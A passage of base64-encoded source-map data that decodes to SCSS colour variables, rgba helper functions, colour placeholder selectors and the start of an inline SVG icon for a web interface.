XI6ICNGNUY1RjU7XG5cbi8vIEVWRU5UU1xuJGNsX2RfZXZlbnQtLXRvZGF5OiAjNGFiMTIxO1xuXG4vLyBJTlBVVFNcbiRjbF9kX2lucHV0LS1iZzogI2U3ZWRmMjtcblxuLy8gVVRJTFNcbiRjbF9kX3V0aWxzLS1wcm9ibGVtOiAjZDIyMjIxO1xuJGNsX2RfdXRpbHMtLXdhcm5pbmc6ICNlNzg2MTc7XG4iLCJAdXNlIFwiYWRtaW5fY29uZmlnXCI7XG5cbi8vJHNsbi1jb2xvci0tbWFpbjogcmdiKDAsNTMsODMpO1xuLy8kc2xuLWNvbG9yLS1tYWluLS1tZWRpdW06ICM0YzcxODY7XG4vLyRzbG4tY29sb3ItLW1haW4tLWxpZ2h0OiByZ2IoMTk5LDIyMywyNDMpO1xuLy8kc2xuLWNvbG9yLS1tYWluLS1saWdodC0tYm9yZGVyOiAjYzVjZmQ0O1xuJHNsbi1jb2xvci0td2hpdGU6ICNmZmY7XG4kc2xuLWNvbG9yLS1tYWluLS1lbXBoYXNpczogIzBjNmViNjtcbiRzbG4tY29sb3ItLXByb2JsZW06ICNkMjIyMjE7XG4kc2xuLWNvbG9yLS1wcm9ibGVtLS1saWdodDogI2U2M2YyNDtcbiRzbG4tY29sb3ItLXdhcm5pbmc6ICNmNWIwMjU7XG4kc2xuLWNvbG9yLS13YXJuaW5nLS1saWdodDogI2Y3YzY1ZjtcbiRzbG4tY29sb3ItLW9rOiAjNWJjMjRjO1xuXG4kc2xuLWNvbG9yLS1tYWluLS1vOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpO1xuJHNsbi1jb2xvci0tY29udHJhc3Q6IHJnYmEoMCwgNjYsIDg4LCAxKTtcbiRzbG4tY29sb3ItLWNvbnRyYXN0LS1hbHBoYTogcmdiYSgwLCA2NiwgODgsIDAuMyk7XG4kc2xuLWNvbG9yLS1kYXJrOiByZ2JhKDAsIDAsIDAsIDEpO1xuJHNsbi1jb2xvci0tbGlnaHRlc3Q6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG5cbiRzbG4tY29sb3ItLW1haW4tLW5vYWxwaGE6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG4kc2xuLWNvbG9yLS1lbXBoYXNpczogIzAyNzdiZDtcbi8vJHNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyOiAjMDA5MWVhO1xuQGZ1bmN0aW9uIHNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMCwgMTQ1LCAyMzQsICRhbHBoYSk7XG59XG5cbiRzbG4tY29sb3ItLWdyZXktLW1haW46ICM4ODg7XG4kc2xuLWNvbG9yLS1ncmV5LS1saWdodDogI2U0ZTdlNztcblxuJHNsbi1jb2xvci0tbGlnaHQtLWJsdWU6ICMxMTgzYzQ7XG5cbi8vIE5FVyBDT0xPUlNcbiRzbG4tY29sb3ItLWJhY2tncm91bmQ6IHJnYmEoNjAsIDYwLCA2MCwgMC43NSk7XG4kc2xuLWNvbG9yLS1tYWluOiByZ2JhKDkyLCAxODQsIDkyLCAxKTtcbiRzbG4tY29sb3ItLW1haW4tLWFscGhhNzU6IHJnYmEoOTIsIDE4NCwgOTIsIDAuNzUpO1xuJHNsbi1jb2xvci0tbWFpbi0tYWxwaGE1MDogcmdiYSg5MiwgMTg0LCA5MiwgMC41KTtcbiRzbG4tY29sb3ItLXRleHQ6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG4kc2xuLWNvbG9yLS10ZXh0LS1hbHBoYTc1OiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNzUpO1xuJHNsbi1jb2xvci0tdGV4dC0tYWxwaGE1MDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpO1xuXG4ldGV4dC1jb2xvci0tbWFpbiB7XG5cdGNvbG9yOiAkc2xuLWNvbG9yLS1tYWluLS1ub2FscGhhO1xufVxuJXRleHQtY29sb3ItLWNvbnRyYXN0IHtcblx0Y29sb3I6ICRzbG4tY29sb3ItLWNvbnRyYXN0O1xufVxuJXRleHQtY29sb3ItLWNvbnRyYXN0LS1hbHBoYSB7XG5cdGNvbG9yOiAkc2xuLWNvbG9yLS1jb250cmFzdC0tYWxwaGE7XG59XG4ldGV4dC1jb2xvci0tZGFyayB7XG5cdGNvbG9yOiAkc2xuLWNvbG9yLS1kYXJrO1xufVxuJXRleHQtY29sb3ItLWVtcGhhc2lzIHtcblx0Y29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbn1cbiV0ZXh0LWNvbG9yLS1lbXBoYXNpcy0taG92ZXIge1xuXHRjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3Zlcjtcbn1cbiV0ZXh0LWNvbG9yLS1ncmV5IHtcblx0Y29sb3I6ICRzbG4tY29sb3ItLWdyZXktLW1haW47XG59XG4ldGV4dC1jb2xvci0tZ3JleS0tbGlnaHQge1xuXHRjb2xvcjogJHNsbi1jb2xvci0tZ3JleS0tbGlnaHQ7XG59XG4ldGV4dC1jb2xvci0td2hpdGUge1xuXHRjb2xvcjogJHNsbi1jb2xvci0td2hpdGU7XG59XG4ldGV4dC1jb2xvci0tb2sge1xuXHRjb2xvcjogJHNsbi1jb2xvci0tb2s7XG59XG4ldGV4dC1jb2xvci0tcHJvYmxlbSB7XG5cdGNvbG9yOiAkc2xuLWNvbG9yLS1wcm9ibGVtO1xufVxuJXRleHQtY29sb3ItLXByb2JsZW0tLWxpZ2h0IHtcblx0Y29sb3I6ICRzbG4tY29sb3ItLXByb2JsZW0tLWxpZ2h0O1xufVxuJXRleHQtY29sb3ItLXdhcm5pbmcge1xuXHRjb2xvcjogJHNsbi1jb2xvci0td2FybmluZztcbn1cbiV0ZXh0LWNvbG9yLS1saWdodC0tYmx1ZSB7XG5cdGNvbG9yOiAkc2xuLWNvbG9yLS1saWdodC0tYmx1ZTtcbn1cblxuLy8gQkFDS0dPUlVORFNcbiViZ2MtY29sb3ItLW1haW4ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkc2xuLWNvbG9yLS1tYWluLS1vO1xufVxuJWJnYy1jb2xvci0tbWFpbi0tbm9hbHBoYSB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRzbG4tY29sb3ItLW1haW4tLW5vYWxwaGE7XG59XG4lYmdjLWNvbG9yLS1jb250cmFzdCB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRzbG4tY29sb3ItLWNvbnRyYXN0O1xufVxuJWJnYy1jb2xvci0tY29udHJhc3QtLWFscGhhIHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0tY29udHJhc3QtLWFscGhhO1xufVxuJWJnYy1jb2xvci0tZGFyayB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRzbG4tY29sb3ItLWRhcms7XG59XG4lYmdjLWNvbG9yLS1lbXBoYXNpcyB7XG5cdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbn1cbiViZ2MtY29sb3ItLWVtcGhhc2lzLS1ob3ZlciB7XG5cdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXI7XG59XG4lYmdjLWNvbG9yLS10cmFuc3BhcmVudCB7XG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xufVxuJWJnYy1jb2xvci0tZ3JleSB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRzbG4tY29sb3ItLWdyZXktLW1haW47XG59XG4lYmdjLWNvbG9yLS1ncmV5LS1saWdodCB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRzbG4tY29sb3ItLWdyZXktLWxpZ2h0O1xufVxuJWJnYy1jb2xvci0tb2sge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkc2xuLWNvbG9yLS1vaztcbn1cbiViZ2MtY29sb3ItLXdoaXRlIHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0td2hpdGU7XG59XG4lYmdjLWNvbG9yLS13YXJuaW5nIHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0td2FybmluZztcbn1cbiViZ2MtY29sb3ItLXdhcm5pbmctLWxpZ2h0IHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0td2FybmluZy0tbGlnaHQ7XG59XG4lYmdjLWNvbG9yLS1wcm9ibGVtIHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0tcHJvYmxlbTtcbn1cbiViZ2MtY29sb3ItLXByb2JsZW0tLWxpZ2h0IHtcblx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0tcHJvYmxlbS0tbGlnaHQ7XG59XG5cbi8vIEJPUkRFUlNcbiViZC1jb2xvci0tbWFpbiB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tbWFpbi0tbztcbn1cbiViZC1jb2xvci0tY29udHJhc3Qge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLWNvbnRyYXN0O1xufVxuJWJkLWNvbG9yLS1jb250cmFzdC0tYWxwaGEge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLWNvbnRyYXN0LS1hbHBoYTtcbn1cbiViZC1jb2xvci0tZGFyayB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tZGFyaztcbn1cbiViZC1jb2xvci0tZW1waGFzaXMge1xuXHRib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbn1cbiViZC1jb2xvci0tZW1waGFzaXMtLWhvdmVyIHtcblx0Ym9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyO1xufVxuJWJkLWNvbG9yLS10cmFuc3BhcmVudCB7XG5cdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG59XG4lYmQtY29sb3ItLW1haW4tLW5vYWxwaGEge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLW1haW4tLW5vYWxwaGE7XG59XG4lYmQtY29sb3ItLWdyZXkge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLWdyZXktLW1haW47XG59XG4lYmQtY29sb3ItLWdyZXktLWxpZ2h0IHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1ncmV5LS1saWdodDtcbn1cbiViZC1jb2xvci0tb2sge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLW9rO1xufVxuJWJkLWNvbG9yLS13YXJuaW5nIHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS13YXJuaW5nO1xufVxuJWJkLWNvbG9yLS1wcm9ibGVtIHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1wcm9ibGVtO1xufVxuJWJkLWNvbG9yLS1wcm9ibGVtLS1saWdodCB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tcHJvYmxlbS0tbGlnaHQ7XG59XG4lYmQtY29sb3ItLWxpZ2h0LS1ibHVlIHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1saWdodC0tYmx1ZTtcbn1cbiIsIi8vICRzbG4tY2wtc3VyLWg6IDcwO1xuLy8gJHNsbi1jbC1zdXItczogNTA7XG4vLyAkc2xuLWNsLXN1ci1sOiA5NjtcbiRzbG4tY2wtc3VyLWg6IDIwMDtcbiRzbG4tY2wtc3VyLXM6IDgwO1xuJHNsbi1jbC1zdXItbDogOTA7XG4kc2xuLWNsLXN1cjogaHNsKCRzbG4tY2wtc3VyLWgsICRzbG4tY2wtc3VyLXMgKiAxJSwgJHNsbi1jbC1zdXItbCAqIDElKTtcbiRzbG4tY2wtc3VyLWJyaWdodDogaHNsKCRzbG4tY2wtc3VyLWgsICRzbG4tY2wtc3VyLXMgKiAxJSwgJHNsbi1jbC1zdXItbCAqIDElKTtcbiRzbG4tY2wtc3VyLWRpbTogaHNsKFxuXHQkc2xuLWNsLXN1ci1oLFxuXHQkc2xuLWNsLXN1ci1zIC0gMzggKiAxJSxcblx0JHNsbi1jbC1zdXItbCAtIDEyICogMSVcbik7XG4kc2xuLWNsLXN1cl9jb250YWluZXItYmc6IGhzbChcblx0JHNsbi1jbC1zdXItaCArIDIwLFxuXHQkc2xuLWNsLXN1ci1zIC0gMTMgKiAxJSxcblx0JHNsbi1jbC1zdXItbCAtIDExICogMSVcbik7XG4kc2xuLWNsLXN1cl9jb250YWluZXItbG93ZXN0OiBoc2woJHNsbi1jbC1zdXItaCwgJHNsbi1jbC1zdXItcyAtIDEyICogMSUsIDEwMCUpO1xuJHNsbi1jbC1zdXJfY29udGFpbmVyLWxvdzogaHNsKFxuXHQkc2xuLWNsLXN1ci1oLFxuXHQkc2xuLWNsLXN1ci1zIC0gMTYgKiAxJSxcblx0JHNsbi1jbC1zdXItbCAtIDIgKiAxJVxuKTtcbiRzbG4tY2wtc3VyX2NvbnRhaW5lci1iYXNlOiBoc2woXG5cdCRzbG4tY2wtc3VyLWgsXG5cdCRzbG4tY2wtc3VyLXMgLSAyNiAqIDElLFxuXHQkc2xuLWNsLXN1ci1sIC0gNCAqIDElXG4pO1xuJHNsbi1jbC1zdXJfY29udGFpbmVyLWhpZ2g6IGhzbChcblx0JHNsbi1jbC1zdXItaCxcblx0JHNsbi1jbC1zdXItcyAtIDMyICogMSUsXG5cdCRzbG4tY2wtc3VyLWwgLSA2ICogMSVcbik7XG4kc2xuLWNsLXN1cl9jb250YWluZXItaGlnaGVzdDogaHNsKFxuXHQkc2xuLWNsLXN1ci1oLFxuXHQkc2xuLWNsLXN1ci1zIC0gMzYgKiAxJSxcblx0JHNsbi1jbC1zdXItbCAtIDggKiAxJVxuKTtcbi8vLy8gRElNSVRSSSBVSSAvLy8vXG5cbiRzbG4tbnVjb2xvci0tbWFpbjogcmdiYSg5LCAxMjAsIDE4OSwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW1haW4oJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg5LCAxMjAsIDE4OSwgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1tYWluLS1kYXJrOiByZ2JhKDAsIDUzLCA4MywgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgwLCA1MywgODMsICRhbHBoYSk7XG59XG5cbiRzbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQ6IHJnYmEoMTk5LCAyMjMsIDI0MywgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTk5LCAyMjMsIDI0MywgJGFscGhhKTtcbn1cbiRzbG4tbnVjb2xvci0tbWFpbi0tYTUwOiByZ2JhKDksIDEyMCwgMTg5LCAwLjUpO1xuJHNsbi1udWNvbG9yLS1tYWluaG92ZXI6IHJnYmEoMjE3LCAyMjUsIDIzMCwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW1haW5ob3ZlcigkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIxNywgMjI1LCAyMzAsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLWRhcms6IHJnYmEoNTIsIDUyLCA1MiwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg1MiwgNTIsIDUyLCAkYWxwaGEpO1xufVxuXG4kc2xuLW51Y29sb3ItLW1pZF9kYXJrOiByZ2JhKDYzLCA2OCwgNzAsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1taWRfZGFyaygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDYzLCA2OCwgNzAsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLW1pZF9kYXJrX2I6IHJnYmEoODAsIDgwLCA4MCwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW1pZF9kYXJrX2IoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg4MCwgODAsIDgwLCAkYWxwaGEpO1xufVxuXG4kc2xuLW51Y29sb3ItLWxpZ2h0ZXN0OiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1saWdodGVzdCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI1NSwgMjU1LCAyNTUsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLWxpZ2h0ZXN0X2dyYXk6IHJnYmEoMjQ1LCAyNDUsIDI0NSwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWxpZ2h0ZXN0X2dyYXkoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyNDUsIDI0NSwgMjQ1LCAkYWxwaGEpO1xufVxuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1saWdodGVzdCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI1NSwgMjU1LCAyNTUsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLXRleHQ6IHJnYmEoODMsIDEwNiwgMTE5LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tdGV4dCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDgzLCAxMDYsIDExOSwgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tdGV4dC0tZGFyaygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDcsIDQwLCA3NCwgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tdGV4dC0tYmx1ZS0tZGFyaygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDUzLCA4MywgMTAwLCAkYWxwaGEpO1xufVxuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS10ZXh0LS1kYXJrZXN0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMCwgMCwgMCwgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1ncmV5LS1tYWluOiByZ2JhKDEzNiwgMTM2LCAxMzYsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1ncmV5LS1tYWluKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTM2LCAxMzYsIDEzNiwgJGFscGhhKTtcbn1cbiRzbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQ6IHJnYmEoMjI4LCAyMzEsIDIzMSwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjI4LCAyMzEsIDIzMSwgJGFscGhhKTtcbn1cbiRzbG4tbnVjb2xvci0tZ3JleS0tbGlnaHRlcjogcmdiYSgyNDAsIDI0MCwgMjQwLCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tZ3JleS0tbGlnaHRlcigkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI0MCwgMjQwLCAyNDAsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLWdyZXktLWFjYzogcmdiYSgyMDIsIDIxNiwgMjI0LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tZ3JleS0tYWNjKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjAyLCAyMTYsIDIyNCwgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1vazogcmdiYSg1NywgMTQ5LCAyNCwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW9rKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoNTcsIDE0OSwgMjQsICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW9rYmcoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgxNzYsIDIxMywgMTYzLCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS1hdHRlbnRpb246IHJnYmEoMjE3LCA5NiwgMTksIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1hdHRlbnRpb24oJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMTcsIDk2LCAxOSwgJGFscGhhKTtcbn1cblxuJXRleHQtY29sb3ItLWNvbnRyYXN0IHtcblx0Y29sb3I6ICRzbG4tbnVjb2xvci0tdGV4dDtcbn1cblxuLy8gSU5QVVRTICYgQlVUVE9OU1xuJHNsbi1udWNvbG9yLS1ncmV5LS11bmNoZWNrZWQ6IHJnYmEoMTczLCAxNzMsIDE3MywgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTczLCAxNzMsIDE3MywgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMzksIDI0NCwgMjQ3LCAkYWxwaGEpO1xufVxuXG4kc2xuLW51Y29sb3ItLW9rOiByZ2JhKDEzLCAxODEsIDEzLCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tb2soJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgxMywgMTgxLCAxMywgJGFscGhhKTtcbn1cbiRzbG4tbnVjb2xvci0tbm90b2s6IHJnYmEoMjU1LCAxNSwgMTUsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1ub3RvaygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI1NSwgMTUsIDE1LCAkYWxwaGEpO1xufVxuXG4vLyBCT1JERVJTXG4lYmQtbnVjb2xvci0tbWFpbiB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1udWNvbG9yLS1tYWluO1xufVxuLy8gQUNDT1VOVFxuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1hY2NvdW50LS1tYWluLS1saWdodCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDE2MiwgMjEwLCAyNDAsICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWFjY291bnQtLWFjY2VudCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIyNywgMTE5LCAxMCwgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tYWNjb3VudC0tcmF0aW5nKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjUzLCAxOTUsIDAsICRhbHBoYSk7XG59XG4vLyBBRE1JTlxuJHNsbi1hZG1pbl9udWNvbG9yLS13YXJuaW5nOiByZ2JhKDI0NSwgMjI4LCAxNTcsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS13YXJuaW5nKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjQ1LCAyMjgsIDE1NywgJGFscGhhKTtcbn1cbi8vJHNsbi1hZG1pbl9udWNvbG9yLS1hdHRlbnRpb246IHJnYmEoMjMyLCAxNzAsIDEzNSwgMSk7IDI4QTc0NVxuXG4kc2xuLWFkbWluX251Y29sb3ItLW9rOiByZ2JhKDQwLCAxNjcsIDY5LCAxKTtcbkBmdW5jdGlvbiBzbG4tYWRtaW5fbnVjb2xvci0tb2soJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg0MCwgMTY3LCA2OSwgJGFscGhhKTtcbn1cblxuJHNsbi1hZG1pbl9udWNvbG9yLS1vay0tYmc6IHJnYmEoMjM4LCAyNDgsIDI0MCwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLW9rLS1iZygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIzOCwgMjQ4LCAyNDAsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLWF0dGVudGlvbjogcmdiYSgyMzIsIDE3MCwgMTM1LCAxKTtcbkBmdW5jdGlvbiBzbG4tYWRtaW5fbnVjb2xvci0tYXR0ZW50aW9uKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjMyLCAxNzAsIDEzNSwgJGFscGhhKTtcbn1cbiRzbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbTogcmdiYSgyMTAsIDM0LCAzNCwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0oJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMTAsIDM0LCAzNCwgJGFscGhhKTtcbn1cbiRzbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyazogcmdiYSgxNjAsIDIxLCAyMCwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgxNjAsIDIxLCAyMCwgJGFscGhhKTtcbn1cbiRzbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tYmc6IHJnYmEoMjQ5LCAyMjUsIDIyMywgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWJnKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjQ5LCAyMjUsIDIyMywgJGFscGhhKTtcbn1cbiRzbG4tYWRtaW5fbnVjb2xvci0tdGV4dC0tZGFyazogcmdiYSgwLCAwLCAyMiwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLXRleHQtLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgwLCAwLCAyMiwgJGFscGhhKTtcbn1cbiRzbG4tYWRtaW5fbnVjb2xvci0tbWFpbi0tbGlnaHQ6IHJnYigxOTksIDIyMywgMjQzKTtcbkBmdW5jdGlvbiBzbG4tYWRtaW5fbnVjb2xvci0tbWFpbi0tbGlnaHQoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgxOTksIDIyMywgMjQzLCAkYWxwaGEpO1xufVxuIiwiLnNsbi1pY29udXJpLS1wZW9wbGVzdGFyIHtcblx0Jjo6YWZ0ZXIge1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nNDUnIGhlaWdodD0nNTcuNDk3JyB2aWV3Qm94PScwIDAgNDUgNTcuNDk3JyUzRSUzQ3BhdGggaWQ9J0ljb25fYXdlc29tZS11c2VycycgZGF0YS1uYW1lPSdJY29uIGF3ZXNvbWUtdXNlcnMnIGQ9J002Ljc1LDE1Ljc1YTQuNSw0LjUsMCwxLDAtNC41LTQuNUE0LjUsNC41LDAsMCwwLDYuNzUsMTUuNzVabTMxLjUsMGE0LjUsNC41LDAsMSwwLTQuNS00LjVBNC41LDQuNSwwLDAsMCwzOC4yNSwxNS43NVpNNDAuNSwxOEgzNmE0LjQ4Nyw0LjQ4NywwLDAsMC0zLjE3MSwxLjMwOEExMC4yODUsMTAuMjg1LDAsMCwxLDM4LjEwOSwyN0g0Mi43NUEyLjI0OCwyLjI0OCwwLDAsMCw0NSwyNC43NVYyMi41QTQuNSw0LjUsMCwwLDAsNDAuNSwxOFptLTE4LDBhNy44NzUsNy44NzUsMCwxLDAtNy44NzUtNy44NzVBNy44NzEsNy44NzEsMCwwLDAsMjIuNSwxOFptNS40LDIuMjVoLS41ODRhMTAuODczLDEwLjg3MywwLDAsMS05LjYzMywwSDE3LjFBOC4xLDguMSwwLDAsMCw5LDI4LjM1djIuMDI1YTMuMzc2LDMuMzc2LDAsMCwwLDMuMzc1LDMuMzc1aDIwLjI1QTMuMzc2LDMuMzc2LDAsMCwwLDM2LDMwLjM3NVYyOC4zNUE4LjEsOC4xLDAsMCwwLDI3LjksMjAuMjVabS0xNS43MjktLjk0MkE0LjQ4Nyw0LjQ4NywwLDAsMCw5LDE4SDQuNUE0LjUsNC41LDAsMCwwLDAsMjIuNXYyLjI1QTIuMjQ4LDIuMjQ4LDAsMCwwLDIuMjUsMjdINi44ODRBMTAuMzExLDEwLjMxMSwwLDAsMSwxMi4xNzEsMTkuMzA4WicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoMCAyMy43NDcpJyBmaWxsPSclMjMwMTM1NTMnLyUzRSUzQ3BhdGggaWQ9J0ljb25fYXdlc29tZS1zdGFyJyBkYXRhLW5hbWU9J0ljb24gYXdlc29tZS1zdGFyJyBkPSdNMTEuNy43NjQsOC44OTUsNi40NTJsLTYuMjc2LjkxNWExLjM3NSwxLjM3NSwwLDAsMC0uNzYsMi4zNDZMNi40LDE0LjEzN2wtMS4wNzQsNi4yNWExLjM3NCwxLjM3NCwwLDAsMCwxLjk5MywxLjQ0OGw1LjYxNS0yLjk1MSw1LjYxNSwyLjk1MWExLjM3NSwxLjM3NSwwLDAsMCwxLjk5My0xLjQ0OGwtMS4wNzQtNi4yNSw0LjU0MS00LjQyNWExLjM3NSwxLjM3N